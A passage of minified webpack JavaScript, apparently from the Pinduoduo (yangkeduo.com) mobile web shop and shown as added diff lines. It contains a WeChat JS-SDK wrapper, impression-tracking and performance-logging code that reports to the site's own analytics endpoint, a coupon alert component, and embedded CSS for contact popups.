e.desc || """", + img_url: e.imgUrl || """", + link: e.link || location.href + }, e) + } + }, e) + }, + updateTimelineShareData: function(e) { + n(""updateTimelineShareData"", { + title: e.title, + link: e.link, + imgUrl: e.imgUrl + }, e) + }, + updateAppMessageShareData: function(e) { + n(""updateAppMessageShareData"", { + title: e.title, + desc: e.desc, + link: e.link, + imgUrl: e.imgUrl + }, e) + }, + startRecord: function(e) { + n(""startRecord"", {}, e) + }, + stopRecord: function(e) { + n(""stopRecord"", {}, e) + }, + onVoiceRecordEnd: function(e) { + r(""onVoiceRecordEnd"", e) + }, + playVoice: function(e) { + n(""playVoice"", { + localId: e.localId + }, e) + }, + pauseVoice: function(e) { + n(""pauseVoice"", { + localId: e.localId + }, e) + }, + stopVoice: function(e) { + n(""stopVoice"", { + localId: e.localId + }, e) + }, + onVoicePlayEnd: function(e) { + r(""onVoicePlayEnd"", e) + }, + uploadVoice: function(e) { + n(""uploadVoice"", { + localId: e.localId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + downloadVoice: function(e) { + n(""downloadVoice"", { + serverId: e.serverId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + translateVoice: function(e) { + n(""translateVoice"", { + localId: e.localId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + chooseImage: function(e) { + n(""chooseImage"", { + scene: ""1|2"", + count: e.count || 9, + sizeType: e.sizeType || [""original"", ""compressed""], + sourceType: e.sourceType || [""album"", ""camera""] + }, (e._complete = function(e) { + if (C) { + var t = e.localIds; + try { + t && (e.localIds = JSON.parse(t)) + } catch (e) {} + } + }, + e)) + }, + getLocation: function(e) {}, + previewImage: function(e) { + n(f.previewImage, { + current: e.current, + urls: e.urls + }, e) + }, + uploadImage: function(e) { + n(""uploadImage"", { + localId: e.localId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + downloadImage: function(e) { + n(""downloadImage"", { + serverId: e.serverId, + isShowProgressTips: 0 == e.isShowProgressTips ? 0 : 1 + }, e) + }, + getLocalImgData: function(e) { + !1 === O ? (O = !0, + n(""getLocalImgData"", { + localId: e.localId + }, (e._complete = function(e) { + if (O = !1, + D.length > 0) { + var t = D.shift(); + wx.getLocalImgData(t) + } + }, + e))) : D.push(e) + }, + getNetworkType: function(e) { + n(""getNetworkType"", {}, (e._complete = function(e) { + e = function(e) { + var t = e.errMsg; + e.errMsg = ""getNetworkType:ok""; + e.subtype; + if (e.networkType) + return e; + var n = t.indexOf("":""), + r = t.substring(n + 1); + switch (r) { + case ""wifi"": + case ""edge"": + case ""wwan"": + e.networkType = r; + break; + default: + e.errMsg = ""getNetworkType:fail"" + } + return e + }(e) + }, + e)) + }, + openLocation: function(e) { + n(""openLocation"", { + latitude: e.latitude, + longitude: e.longitude, + name: e.name || """", + address: e.address || """", + scale: e.scale || 28, + infoUrl: e.infoUrl || """" + }, e) + } + }, + a()(h, ""getLocation"", function(e) { + e = e || {}, + n(f.getLocation, { + type: e.type || ""wgs84"" + }, (e._complete = function(e) { + delete e.type + }, + e)) + }), + a()(h, ""hideOptionMenu"", function(e) { + n(""hideOptionMenu"", {}, e) + }), + a()(h, ""showOptionMenu"", function(e) { + n(""showOptionMenu"", {}, e) + }), + a()(h, ""closeWindow"", function(e) { + n(""closeWindow"", {}, e = e || {}) + }), + a()(h, ""hideMenuItems"", function(e) { + n(""hideMenuItems"", { + menuList: e.menuList + }, e) + }), + a()(h, ""showMenuItems"", function(e) { + n(""showMenuItems"", { + menuList: e.menuList + }, e) + }), + a()(h, ""hideAllNonBaseMenuItem"", function(e) { + n(""hideAllNonBaseMenuItem"", {}, e) + }), + a()(h, ""showAllNonBaseMenuItem"", function(e) { + n(""showAllNonBaseMenuItem"", {}, e) + }), + a()(h, ""scanQRCode"", function(e) { + n(""scanQRCode"", { + needResult: (e = e || {}).needResult || 0, + scanType: e.scanType || [""qrCode"", ""barCode""] + }, (e._complete = function(e) { + if (A) { + var t = e.resultStr; + if (t) { + var n = JSON.parse(t); + e.resultStr = n && n.scan_code && n.scan_code.scan_result + } + } + }, + e)) + }), + a()(h, ""openAddress"", function(e) { + n(f.openAddress, {}, (e._complete = function(e) { + e = function(e) { + return e.postalCode = e.addressPostalCode, + delete e.addressPostalCode, + e.provinceName = e.proviceFirstStageName, + delete e.proviceFirstStageName, + e.cityName = e.addressCitySecondStageName, + delete e.addressCitySecondStageName, + e.countryName = e.addressCountiesThirdStageName, + delete e.addressCountiesThirdStageName, + e.detailInfo = e.addressDetailInfo, + delete e.addressDetailInfo, + e + }(e) + }, + e)) + }), + a()(h, ""openProductSpecificView"", function(e) { + n(f.openProductSpecificView, { + pid: e.productId, + view_type: e.viewType || 0, + ext_info: e.extInfo + }, e) + }), + a()(h, ""addCard"", function(e) { + for (var t = e.cardList, r = [], a = 0, i = t.length; a < i; ++a) { + var o = t[a], + s = { + card_id: o.cardId, + card_ext: o.cardExt + }; + r.push(s) + } + n(f.addCard, { + card_list: r + }, (e._complete = function(e) { + var t = e.card_list; + if (t) { + for (var n = 0, r = (t = JSON.parse(t)).length; n < r; ++n) { + var a = t[n]; + a.cardId = a.card_id, + a.cardExt = a.card_ext, + a.isSuccess = !!a.is_succ, + delete a.card_id, + delete a.card_ext, + delete a.is_succ + } + e.cardList = t, + delete e.card_list + } + }, + e)) + }), + a()(h, ""chooseCard"", function(e) { + n(""chooseCard"", { + app_id: T.appId, + location_id: e.shopId || """", + sign_type: e.signType || ""SHA1"", + card_id: e.cardId || """", + card_type: e.cardType || """", + card_sign: e.cardSign, + time_stamp: e.timestamp + """", + nonce_str: e.nonceStr + }, (e._complete = function(e) { + e.cardList = e.choose_card_info, + delete e.choose_card_info + }, + e)) + }), + a()(h, ""openCard"", function(e) { + for (var t = e.cardList, r = [], a = 0, i = t.length; a < i; ++a) { + var o = t[a], + s = { + card_id: o.cardId, + code: o.code + }; + r.push(s) + } + n(f.openCard, { + card_list: r + }, e) + }), + a()(h, ""consumeAndShareCard"", function(e) { + n(f.consumeAndShareCard, { + consumedCardId: e.cardId, + consumedCode: e.code + }, e) + }), + a()(h, ""chooseWXPay"", function(e) { + n(f.chooseWXPay, o(e), e) + }), + a()(h, ""openEnterpriseRedPacket"", function(e) { + n(f.openEnterpriseRedPacket, o(e), e) + }), + a()(h, ""startSearchBeacons"", function(e) { + n(f.startSearchBeacons, { + ticket: e.ticket + }, e) + }), + a()(h, ""stopSearchBeacons"", function(e) { + n(f.stopSearchBeacons, {}, e) + }), + a()(h, ""onSearchBeacons"", function(e) { + r(f.onSearchBeacons, e) + }), + a()(h, ""openEnterpriseChat"", function(e) { + n(""openEnterpriseChat"", { + useridlist: e.userIds, + chatname: e.groupName + }, e) + }), + a()(h, ""launchMiniProgram"", function(e) { + n(""launchMiniProgram"", { + targetAppId: e.targetAppId, + path: function(e) { + if (""string"" == typeof e && e.length > 0) { + var t = e.split(""?"")[0], + n = e.split(""?"")[1]; + return t += "".html"", + void 0 !== n ? t + ""?"" + n : t + } + }(e.path), + envVersion: e.envVersion + }, e) + }), + a()(h, ""miniProgram"", { + navigateBack: function(e) { + e = e || {}, + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""navigateBack"", + arg: { + delta: e.delta || 1 + } + }, e) + }) + }, + navigateTo: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""navigateTo"", + arg: { + url: e.url + } + }, e) + }) + }, + redirectTo: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""redirectTo"", + arg: { + url: e.url + } + }, e) + }) + }, + switchTab: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""switchTab"", + arg: { + url: e.url + } + }, e) + }) + }, + reLaunch: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""reLaunch"", + arg: { + url: e.url + } + }, e) + }) + }, + postMessage: function(e) { + p(function() { + n(""invokeMiniProgramAPI"", { + name: ""postMessage"", + arg: e.data || {} + }, e) + }) + }, + getEnv: function(t) { + p(function() { + t({ + miniprogram: ""miniprogram"" === e.__wxjs_environment + }) + }) + } + }), + h), + R = 1, + M = {}; + return g.addEventListener(""error"", function(e) { + if (!C) { + var t = e.target, + n = t.tagName, + r = t.src; + if ((""IMG"" == n || ""VIDEO"" == n || ""AUDIO"" == n || ""SOURCE"" == n) && -1 != r.indexOf(""wxlocalresource://"")) { + e.preventDefault(), + e.stopPropagation(); + var a = t[""wx-id""]; + if (a || (a = R++, + t[""wx-id""] = a), + M[a]) + return; + M[a] = !0, + wx.ready(function() { + wx.getLocalImgData({ + localId: r, + success: function(e) { + t.src = e.localData + } + }) + }) + } + } + }, !0), + g.addEventListener(""load"", function(e) { + if (!C) { + var t = e.target, + n = t.tagName; + if (t.src, + ""IMG"" == n || ""VIDEO"" == n || ""AUDIO"" == n || ""SOURCE"" == n) { + var r = t[""wx-id""]; + r && (M[r] = !1) + } + } + }, !0), + P && (e.qq = e.wx = e.jWeixin = P), + P + } + }) + }, + Rr5R: function(e, t, n) { + var r = n(""BAOl""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + SXY3: function(e, t, n) { + ""use strict""; + var r = n(""iCc5""), + a = n.n(r), + i = n(""FYw3""), + o = n.n(i), + s = n(""mRg0""), + c = n.n(s), + u = n(""q1tI""), + l = n.n(u), + p = n(""i8i4""), + d = n(""14Xm""), + h = n.n(d), + f = n(""D3Ub""), + m = n.n(f), + g = n(""Fcpp""), + v = n(""xnWZ""), + _ = n(""kk8N""), + b = function(e) { + _.a.callNative(""WebScene"", ""getPageVisibility"", null, function() { + e && e() + }) + }, + y = (n(""kVsE""), { + rootMargin: ""0px"", + threshold: [.75] + }), + w = new function e() { + var t = this; + a()(this, e), + this.init = m()(h.a.mark(function e() { + var n; + return h.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + e.next = 2; + break; + case 2: + if (v.b.isNativePlatform() && v.b.isSupportCheckWebviewInTab && v.b.isSupportCheckWebviewInScreen) { + e.next = 6; + break + } + return t.createOberver(), + e.abrupt(""return""); + case 6: + return e.prev = 6, + e.next = 9, + new Promise(function(e, t) { + _.a.callNative(""WebScene"", ""getPageShownType"", null, function(t) { + e(t) + }, function(e) { + t(e) + }) + }); + case 9: + if (e.t0 = e.sent, + e.t0) { + e.next = 12; + break + } + e.t0 = {}; + case 12: + n = e.t0, + parseInt(n.shown_type, 10) ? b(function() { + t.createOberver() + }) : t.createOberver(), + e.next = 20; + break; + case 17: + e.prev = 17, + e.t1 = e.catch(6), + t.createOberver(); + case 20: + case ""end"": + return e.stop() + } + }, e, t, [ + [6, 17] + ]) + })), + this.createOberver = function() { + t.oberver = new IntersectionObserver(t.observerCallBack, y), + Array.isArray(t.stashQuene) && t.stashQuene.forEach(function(e) { + e && e() + }), + t.stashQuene = null + }, + this.observerCallBack = function(e) { + e.forEach(function(e) { + var n = parseInt(e.target.dataset.uniqid, 10); + n && (e.isIntersecting && e.intersectionRatio >= .75 ? t.entryQuene[n] = e : t.entryQuene[n] && (e.time - t.entryQuene[n].time >= 300 && t.log(n), + delete t.entryQuene[n]), + t.lastTimer && clearTimeout(t.lastTimer), + t.lastTimer = setTimeout(function() { + Object.keys(t.entryQuene).forEach(function(e) { + t.log(e) + }) + }, 300)) + }) + }, + this.log = function(e) { + if (t.elStore[e]) { + var n = t.elStore[e] || {}, + r = n.info, + a = n.once, + i = n.el, + o = n.handleCustomTracking, + s = Object.assign({ + op: ""impr"" + }, r || {}); + a && t.unRegister(i, e), + o ? o() : g.a.trackingRecord(s) + } + }, + this.register = function(e) { + var n = e.el, + r = e.info, + a = e.handleCustomTracking, + i = e.once, + o = void 0 === i || i; + if (n && r) { + var s = t._uniqid; + t._uniqid++, + n.dataset.uniqid = s, + t.elStore[s] = a ? { + el: n, + info: r, + once: o, + handleCustomTracking: a + } : { + el: n, + info: r, + once: o + }, + t.oberver ? t.oberver.observe(n) : t.stashQuene.push(function() { + t.oberver.observe(n) + }) + } + }, + this.unRegister = function(e, n) { + t.oberver && t.oberver.unobserve(e), + delete t.elStore[n], + delete t.entryQuene[n] + }, + this._uniqid = 1, + this.oberver = null, + this.entryQuene = {}, + this.elStore = {}, + this.stashQuene = [], + this.init() + }, + S = n(""17x9""), + C = n.n(S), + A = function(e) { + function t() { + var n, r, i; + a()(this, t); + for (var s = arguments.length, c = Array(s), u = 0; u < s; u++) + c[u] = arguments[u]; + return n = r = o()(this, e.call.apply(e, [this].concat(c))), + r.componentDidMount = function() { + var e = r.props, + t = e.id, + n = e.doImpr; + r.el = Object(p.findDOMNode)(r) || document.getElementById(t), + n && r.registerImpr() + }, + r.componentDidUpdate = function(e) { + r.lock || !e.doImpr && r.props.doImpr && (r.registerImpr(), + r.lock = !0) + }, + r.componentWillUnmount = function() { + if (r.el && r.isRegistered) { + var e = parseInt(r.el.dataset.uniqid, 10) || 0; + w.unRegister(r.el, e) + } + }, + r.registerImpr = function() { + var e = r.props, + t = e.trackingInfo, + n = e.once, + a = e.handleCustomTracking; + w.register({ + el: r.el, + info: t, + once: n, + handleCustomTracking: a + }), + r.isRegistered = !0 + }, + i = n, + o()(r, i) + } + return c()(t, e), + t.prototype.render = function() { + return l.a.Children.only(this.props.children) + }, + t + }(u.Component); + A.defaultProps = { + doImpr: !0, + id: """", + once: !0, + trackingInfo: {} + }, + A.propTypes = { + doImpr: C.a.bool, + id: C.a.string, + once: C.a.bool, + trackingInfo: C.a.object.isRequired + }; + var I = A; + t.a = I + }, + SmUH: function(e, t) { + e.exports = '
    \n\n
    \n
    \n
    \n \n
    \n
    \n\n
    \n
    \n' + }, + UUTy: function(e, t, n) { + var r = n(""V4Zx""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + UbGT: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = n(""+zrp""), + g = n(""u16y""), + v = n(""b5fu""), + _ = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""clickConfirm"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()), + v.a.call(this.props.confirmCallback, this.state.checkboxSelected) + } + }, { + key: ""render"", + value: function() { + var e = this, + t = this.props, + n = []; + return t.desc && t.desc.forEach(function(e, t) { + n.push(f.a.createElement(""li"", { + className: ""desc"", + key: t + }, e)) + }), + f.a.createElement(""div"", { + className: ""bg-fill"", + style: { + display: this.state.display + } + }, f.a.createElement(""div"", { + className: ""alert-coupon-send"" + }, f.a.createElement(""div"", { + className: ""alert-close"", + onClick: function(t) { + return e.clickHide() + } + }), f.a.createElement(""ul"", { + className: ""alert-coupon-send-desc"" + }, n), f.a.createElement(""p"", { + className: ""alert-coupon-send-confirm"", + onClick: function(t) { + return e.clickConfirm() + } + }))) + } + }]), + t + }(m.a); + _.defaultProps = { + img: g.a.getCDNImgURL(""coupons/coupon_send_bg_v2.png""), + desc: [""快邀请4位好友一起拆红包"", ""最高可领20元红包哦!~""], + confirm: ""发红包"" + }, + t.default = _ + }, + UxpZ: function(e, t, n) { + ""use strict""; + (function(e) { + var r = n(""xJ31""), + a = n(""AGSb""), + i = n(""0P1e""), + o = n(""Fcpp""), + s = n(""iTkx""), + c = function() { + var e = location.protocol + ""//cmta.yangkeduo.com/api/ajax""; + return Object(s.a)(location.hostname) ? """" : e + }(); + t.a = { + tracking: function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = { + 1: 1, + 2: .5, + 4: .25, + 5: .2, + 10: .1 + }, + s = 1, + u = 1; + if (window.__CMT_AMPLIFY_RATE__) { + var l = window.__CMT_AMPLIFY_RATE__; + if (n[l]) + s = +l, + u = n[l]; + else { + var p = { + op: ""real_error"", + page_url: location.href, + error_message: ""cmt放大倍数"".concat(l, ""不合法支持1,2,4,5,10"") + }; + o.a.trackingRecord(p) + } + } + if (!(Math.random() > u)) { + var d = t.requestTime, + h = t.resTimeConsume, + f = t.reqData, + m = t.resData, + g = t.apiUrl, + v = t.statusCode, + _ = t.pageId, + b = 0, + y = 0; + f && (b = JSON.stringify(f).length), + m && (y = JSON.stringify(m).length); + var w = Math.pow(10, 5) + Math.floor(Math.random() * (Math.pow(10, 6) - Math.pow(10, 5))); + Object(i.a)().then(function(t) { + var n = { + v: 1, + t: d, + r: w, + c: Object(r.a)(d + ""-"" + w), + d: { + t: Date.now(), + tu: g, + n: t, + c: v, + r: s, + rt: h, + q: b, + p: y, + e: { + uid: Object(a.a)(""pdd_user_id""), + page_id: _, + model: navigator.userAgent + } + } + }, + i = { + method: ""POST"", + body: JSON.stringify(n), + headers: { + ""Content-Type"": ""application/json;charset=UTF-8"" + }, + credentials: ""include"" + }; + return e(c, i) + }) + } + } + } + }).call(this, n(""BlQd"")) + }, + V4Zx: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, '@charset ""UTF-8"";\n\n/**\r\n * base.scss, 一些公共的代码\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * base variable\r\n */\n\n/**\r\n * function 区域\r\n */\n\n/**\r\n * mixin 区域\r\n */\n\n/**\r\n * 父元素必须是position: relative\r\n */\n\n/**\r\n * 字体icon\r\n */\n\n/**\r\n * flex 布局\r\n */\n\n/**\r\n * extend区域\r\n */\n\n/**\r\n * @file variables.scss, 相关的变量\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * @file border1px.scss, 1px在devicePixelRatio>2的方案\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/*原来的逻辑*/\n\n/*\n* 注意:需要按钮是position(absolute,relative)定位的,按钮没有宽高的,可能会出bug.\n* 按钮before已经有样式的就用data-active=after-{type},after同理。\n* eg:
    button
    \n* https://jira2.corp.yiran.com/browse/PDD-10191\n* 红色按钮 highlight状态增加 #000000 15%\n* 白色按钮 highlight状态增加 #000000 5%\n* 红色线框按钮 highlight状态增加 #E02E24 5%\n*/\n\n.force-contact-banner,\n.force-contact-arrow,\n.force-contact-arrow-new,\n.ab-force-contact-arrow-new,\n.ab-tick,\n.ab-close-button {\n background-image: url(""https://t13img.yangkeduo.com/cart/2018-07-12/0d6161cab30b0c91d9ee37c49fcf61e4.png"");\n background-repeat: no-repeat;\n background-size: 3.07rem 3.05rem;\n}\n\n.force-contact-main {\n position: fixed;\n width: 100%;\n max-width: 640px;\n height: 100%;\n position: fixed;\n right: 0;\n left: 0;\n top: 0;\n margin: 0 auto;\n -webkit-user-select: none;\n user-select: none;\n background-color: rgba(0, 0, 0, 0.75);\n z-index: 99999;\n line-height: 1;\n}\n\n.force-contact-banner {\n position: relative;\n width: 3.07rem;\n height: 1.03rem;\n background-position: 0 -2rem;\n margin: 1.2rem auto 0 auto;\n}\n\n.force-contact-content {\n position: relative;\n width: 3.07rem;\n height: 2.3rem;\n padding-top: 0.24rem;\n text-align: center;\n background-color: white;\n margin: 0 auto;\n border-radius: 0 0 0.1rem 0.1rem;\n line-height: 1;\n}\n\n.force-contact-content .force-contact-tips {\n font-size: 0.15rem;\n color: #333;\n margin-bottom: 0.11rem;\n}\n\n.force-contact-content .force-contact-desc {\n font-size: 0.13rem;\n color: #9d9d9d;\n margin-bottom: 0.32rem;\n}\n\n.force-contact-content .force-contact-desc b {\n color: #ee2e3a;\n margin-right: 0.04rem;\n font-weight: 900;\n}\n\n.force-contact-content_new {\n position: absolute;\n width: 2.90rem;\n height: 2.56rem;\n padding-top: 0.3rem;\n text-align: center;\n background-color: white;\n margin: 0 auto;\n border-radius: 0.08rem 0.08rem 0.08rem 0.08rem;\n line-height: 1;\n left: 50%;\n top: 50%;\n margin-left: -1.45rem;\n margin-top: -1.28rem;\n}\n\n.force-contact-content_new .fc-close-btn {\n position: absolute;\n right: 0.1rem;\n top: 0.1rem;\n}\n\n.force-contact-content_new .fc-close-btn:before {\n content: ""\\E61D"";\n font-size: 0.1rem;\n color: #d2d2d2;\n font-family: ""icomoon"";\n line-height: 1;\n font-weight: normal;\n -webkit-font-smoothing: antialiased;\n}\n\n.force-contact-content_new .force-contact-tips {\n font-size: 0.17rem;\n color: #151516;\n margin-bottom: 0.21rem;\n font-weight: bold;\n}\n\n.force-contact-content_new .force-contact-desc {\n font-size: 0.15rem;\n color: #58595b;\n margin-bottom: 0.38rem;\n margin-right: 0.04rem;\n}\n\n.force-contact-content_new .force-contact-desc-free {\n color: #e02e24;\n font-size: 0.15rem;\n width: 100%;\n text-align: center;\n}\n\n.force-contact-content_new .force-contact-desc-free .red-packet-icon {\n display: inline-block;\n width: 0.16rem;\n height: 0.18rem;\n margin-right: 0.065rem;\n background: url(""data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAkCAMAAADfNcjQAAAAqFBMVEX/UVH1MzP/UlL1NDT/UFD1MjL/+DOrfhH36y/1ODLBnRn6Pz368DHKrB26kxb8RUX/nUL/tz7/6DSughL+Skr/kUT/xjv/zjr/2Tj/8DP8ujLs2yvn1inl0SfizSfcxSWziRP/V0//c0r/e0j/g0f/pkH/3zf9yTP91zL5hjL1QjLx4y3v4Czq2CrQsx/GpBz/YU3/a0v/rkD/rz/9uTj4fTP6lTLXvSP9Jg1AAAAABHRSTlPm5k5OEnbacAAAAQNJREFUOMvtkMluwjAQQA2YGZKQFUggO1sLtED3/v+f1R4sWSNF4dYT72Jr3tPIshgNxj0MRoJ8TyHGd/jv4HTMD8kh/3a6A+dnBTeSox2K0DP96RksuaOlF86lkIp56Hme9pYv5QghDXuA6ctEKXMsJA/eVsq0M61crPQ71jyIQNHgBaBAFzQ7HmQ0DNQKF1/pHvPgiYYVXs7oA5HxwHyBO9NLiGXHhvM1QGyvvxSkPEj1bFKWAVbl7Q0fPFhQUNcBNnVBwZYH60TNCt9v0fcb+wQK7Ar6pSkQWxsYYhZEkgXEJxDMs0DulkZnG8kCy2Yfp3H0TncecB5BRyDu+aHo9cM/3cMfWxg5Z+AAAAAASUVORK5CYII="") no-repeat;\n background-size: contain;\n position: relative;\n top: 0.03rem;\n}\n\n.force-contact-content_new .receive-red-packet-contact-touch {\n position: absolute;\n width: 2.50rem;\n height: 1.30rem;\n bottom: 0.20rem;\n left: 50%;\n -webkit-transform: translateX(-50%);\n transform: translateX(-50%);\n}\n\n.force-contact-content_new .scan-line {\n position: absolute;\n height: 0.24rem;\n width: 0.98rem;\n right: 0.36rem;\n bottom: 0.37rem;\n background-image: -webkit-linear-gradient(bottom, rgba(255, 255, 24, 0), rgba(255, 255, 24, 0.9));\n background-image: linear-gradient(to top, rgba(255, 255, 24, 0), rgba(255, 255, 24, 0.9));\n -webkit-animation: scanLineMoved 2s ease-in-out infinite normal;\n animation: scanLineMoved 2s ease-in-out infinite normal;\n opacity: 0.4;\n -webkit-user-select: none;\n user-select: none;\n pointer-events: none;\n}\n\n@-webkit-keyframes scanLineMoved {\n 0% {\n height: 0;\n -webkit-transform: translateY(0);\n transform: translateY(0);\n }\n\n 50% {\n height: 0.24rem;\n }\n\n 100% {\n height: 0;\n -webkit-transform: translateY(-0.97rem);\n transform: translateY(-0.97rem);\n }\n}\n\n@keyframes scanLineMoved {\n 0% {\n height: 0;\n -webkit-transform: translateY(0);\n transform: translateY(0);\n }\n\n 50% {\n height: 0.24rem;\n }\n\n 100% {\n height: 0;\n -webkit-transform: translateY(-0.97rem);\n transform: translateY(-0.97rem);\n }\n}\n\n.force-contact-touch {\n position: relative;\n width: 2.3rem;\n height: 1.15rem;\n}\n\n.force-contact-arrow {\n width: 0.21rem;\n height: 0.41rem;\n background-position: -2.35rem -0.95rem;\n position: absolute;\n left: 0.61rem;\n top: 0.59rem;\n z-index: 1;\n}\n\n.force-contact-arrow-new {\n width: 0.185rem;\n height: 0.375rem;\n background-position: -2.6rem -0.95rem;\n position: absolute;\n left: 0.9rem;\n top: 0.68rem;\n z-index: 1;\n}\n\n.ab-force-contact-content {\n position: relative;\n width: 3.07rem;\n height: 2.25rem;\n padding: 0.4rem 0.35rem 0 0.35rem;\n text-align: center;\n background-color: white;\n margin: 1.89rem auto 0 auto;\n border-radius: 0.1rem;\n line-height: 1;\n}\n\n.ab-force-contact-content .ab-tick {\n width: 0.42rem;\n height: 0.42rem;\n background-position: -2.34rem -1.4rem;\n margin: 0 auto 0.11rem auto;\n}\n\n.ab-force-contact-content .ab-after-pay {\n color: #333;\n font-size: 0.18rem;\n margin-bottom: 0.19rem;\n}\n\n.ab-force-contact-content .ab-force-contact-tips {\n padding-top: 0.14rem;\n font-size: 0.13rem;\n color: #333;\n margin-bottom: 0.06rem;\n border-top: 1px solid #eaeaea;\n}\n\n.ab-force-contact-content .ab-force-contact-tips u {\n color: #ff2e3a;\n}\n\n.ab-force-contact-content .ab-force-contact-desc {\n font-size: 0.13rem;\n color: #333;\n margin-bottom: 0.15rem;\n}\n\n.ab-force-contact-content .extra-hint {\n font-size: 0.13rem;\n color: #9d9d9d;\n}\n\n.ab-force-contact-content .extra-hint b {\n color: #ef2e3a;\n margin-right: 0.04rem;\n font-weight: 900;\n}\n\n.ab-force-contact-touch {\n position: relative;\n width: 2.37rem;\n height: 1.11rem;\n margin: 0 auto 0.17rem auto;\n}\n\n.ab-force-contact-arrow-new {\n width: 0.125rem;\n height: 0.25rem;\n background-position: -2.8rem -0.95rem;\n position: absolute;\n left: 0.92rem;\n top: 2.64rem;\n z-index: 1;\n}\n\n.ab-close-button {\n position: absolute;\n right: -0.12rem;\n top: -0.12rem;\n width: 0.24rem;\n height: 0.24rem;\n background-position: -0.9rem -1.6rem;\n}\n\n.force-contact-close-button {\n color: #fff;\n position: absolute;\n right: .12rem;\n top: .24rem;\n}\n\n.ab-line {\n border-top: 1px solid #eaeaea;\n height: 0.2rem;\n}\n\n.ab-force-contact-download {\n background-color: #ee2e3a;\n width: 2.12rem;\n height: 0.39rem;\n text-align: center;\n margin: 0 auto;\n border-radius: 3px;\n display: -webkit-box;\n display: -webkit-flex;\n display: flex;\n -webkit-box-pack: center;\n -webkit-justify-content: center;\n justify-content: center;\n -webkit-box-align: center;\n -webkit-align-items: center;\n align-items: center;\n}\n\n.ab-force-contact-download span {\n font-size: 0.14rem;\n line-height: 1;\n color: white;\n}\n\n.afterpay-contact-content {\n position: relative;\n width: 3.07rem;\n height: 3.25rem;\n padding: 0.19rem 0.35rem 0 0.35rem;\n text-align: center;\n background-color: white;\n margin: 1.2rem auto 0 auto;\n border-radius: 0.1rem;\n line-height: 1;\n}\n\n.afterpay-contact-content .ab-tick {\n width: 0.42rem;\n height: 0.42rem;\n background-position: -2.34rem -1.4rem;\n margin: 0 auto 0.11rem auto;\n}\n\n.afterpay-contact-content .ab-after-pay {\n color: #333;\n font-size: 0.18rem;\n margin-bottom: 0.19rem;\n}\n\n.afterpay-contact-content .ab-force-contact-tips {\n padding-top: 0.14rem;\n font-size: 0.13rem;\n color: #333;\n margin-bottom: 0.06rem;\n border-top: 1px solid #eaeaea;\n}\n\n.afterpay-contact-content .ab-force-contact-desc {\n font-size: 0.13rem;\n color: #333;\n margin-bottom: 0.15rem;\n}\n\n.afterpay-contact-content .extra-hint {\n font-size: 0.13rem;\n color: #9d9d9d;\n}\n\n.afterpay-contact-content .extra-hint b {\n color: #ef2e3a;\n margin-right: 0.04rem;\n font-weight: 900;\n}\n\n.fcm-coupon-share .force-contact-content {\n height: 2.63rem;\n padding-top: 0.16rem;\n}\n\n.fcm-coupon-share .force-contact-content .force-contact-tips {\n line-height: 1.5;\n text-align: center;\n}\n\n.fcm-coupon-share .force-contact-content .force-contact-arrow-new {\n top: 0.95rem;\n}\n\n.force-contact-main .user-id {\n position: absolute;\n top: 5px;\n left: 60px;\n font-size: 10px;\n color: #3f191c !important;\n}\n\n.force-contact-main .force-contact-touch {\n margin: 0 auto;\n background: #f2f2f2;\n}', """"]) + }, + VdQI: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""q1tI""), + a = n.n(r), + i = n(""i8i4""), + o = n.n(i), + s = n(""b5fu""), + c = n(""lSNA""), + u = { + Default: ""alert_default_v3"", + AlertNewUserGroup: ""alert_new_user_group"", + AlertAppDownload: ""alert_app_download"", + AlertOpenAppNotification: ""alert_open_app_notification"", + AlertCouponSend: ""alert_coupon_send"", + AlertCouponSendV2: ""alert_coupon_send_v2"", + AlertFreeTrial: ""alert_free_trial"", + IDCardHint: ""ID_card_hint"", + FCLink: ""fc_link"", + FlashGroupsRules: ""flash_groups_rules"", + AlertFriendPayExplain: ""alert_friend_pay_explain"", + AssistFreeCouponRules: ""assist_free_coupon_rules"" + }, + l = n.n(c)()({ + Default: ""confirm_default_v3"", + ConfirmShipment: ""confirm_shipment"", + ConfirmAppGroup: ""confirm_app_group"", + ConfirmWeChatWapPay: ""confirm_wechat_wap_pay"", + ConfirmWeChatH5Pay: ""confirm_wechat_h5_pay"", + ConfirmAppUpdate: ""confirm_app_udpate"", + ConfirmAppUpdateV2: ""confirm_app_udpate_v2"", + ConfirmAppDownload: ""confirm_app_download"", + ConfirmAppDownloadV2: ""confirm_app_download_v2"", + ConfirmJSPhotoAppUpdate: ""confirm_jsphoto_app_update"", + ConfirmAfterGroupShare: ""confirm_after_group_share"", + ConfirmDefaultV2: ""confirm_default_v2"", + UnpayedAlarm: ""unpayed_alarm"", + AttendanceDownload: ""attendance_download"", 